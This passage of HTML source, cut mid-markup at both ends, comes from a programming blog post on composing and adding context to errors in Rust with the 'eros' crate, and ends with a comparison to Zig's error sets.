syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;, &lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;io&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;Error, ParseIntError&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; contents &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;fs&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;read_to_string&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    contents.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;configure_server&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-support syntax-type syntax-rust&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;load_port_with_context&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;Configure server&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;main&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-keyword syntax-control syntax-rust&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;syntax-support syntax-type syntax-rust&quot;&gt;Err&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;error&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;configure_server&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;config/port.txt&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;Start application&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;syntax-support syntax-macro syntax-rust&quot;&gt;eprintln!&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;{error:#?}&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the file contains an invalid number, the report is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&lt;span class=&quot;code-snippet&quot;&gt;invalid digit found in string

  Context (innermost first):
    1. Load server port from config/port.txt
    2. Configure server
    3. Start application
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The original error stays the main message, with the operations listed in the order they were added.&lt;/p&gt;
&lt;p&gt;I generally prefer a function to describe its own operation and relevant inputs. Every caller then gets that context. Call sites can add context too, when they know something the callee does not. We can report the failure once with the operations that led to it.&lt;/p&gt;
&lt;p&gt;The type tells us which recovery policy to apply. The context tells us what happened if recovery is not possible. We should be able to keep both without building a new error enum every time an error passes through another function.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I previously explored precise error sets with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://mcmah309.github.io/posts/introducing-error-set/&quot;&gt;error_set&lt;/a&gt;. What still interests me is how little needs to change about Rust’s existing error handling to make this work. We still return &lt;code&gt;Result&lt;/code&gt;, propagate with &lt;code&gt;?&lt;/code&gt;, and handle errors as values. The missing piece is making the possible errors easy to compose and reduce as they move through the program.&lt;/p&gt;
&lt;p&gt;This is why I think Rust’s error handling is near perfect with the right constructs. Each function can describe the errors its callers need to reason about. We can handle those errors where there is a useful policy, simplify the signature where there is not, and keep the operational context needed to understand a failure. Precise error handling becomes much easier to use when it follows the way we already compose functions. That is why eros lets me love error handling—pun intended.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The eros source and README are available on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/mcmah309/eros&quot;&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Bonus: The Connection To Zig&lt;/h2&gt;
&lt;p&gt;Zig’s native &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://ziglang.org/documentation/0.17.0/#Error-Set-Type&quot;&gt;error sets&lt;/a&gt; follow the same idea:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zig&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Zig&quot;&gt;const std = @import(&amp;quot;std&amp;quot;);

const PortErrors = std.fmt.ParseIntError || error{ ZeroPort };

fn parsePort(input: []const u8) PortErrors!u16 {
    const port = try std.fmt.parseInt(u16, input, 10);
    if (port == 0) return error.ZeroPort;
    return port;
}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;||&lt;/code&gt; combines the sets, and &lt;code&gt;try&lt;/code&gt; propagates errors like &lt;code&gt;?&lt;/code&gt;. Zig can also infer the set when the return type is written as &lt;code&gt;!u16&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Zig’s error codes have no attached payloads. In Rust, we can keep the same composability and carry actual data:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-other syntax-rust&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;IntoUnion&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;syntax-keyword syntax-other syntax-rust&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;num&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;ParseIntError&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-annotation syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-annotation syntax-rust&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-annotation syntax-rust&quot;&gt;derive&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;Debug&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; thiserror::Error&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-annotation syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-annotation syntax-rust&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-annotation syntax-rust&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;Port must be nonzero, got {input:?}&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-struct syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-struct syntax-rust&quot;&gt;struct&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-struct syntax-rust&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-struct syntax-rust&quot;&gt;ZeroPort&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-struct syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-variable syntax-other syntax-member syntax-rust&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; String,
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-storage syntax-type syntax-type syntax-rust&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-type syntax-rust&quot;&gt;PortErrors&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;ParseIntError&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; ZeroPort&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;parse_port&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;, PortErrors&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; port &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; input.&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;parse&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin 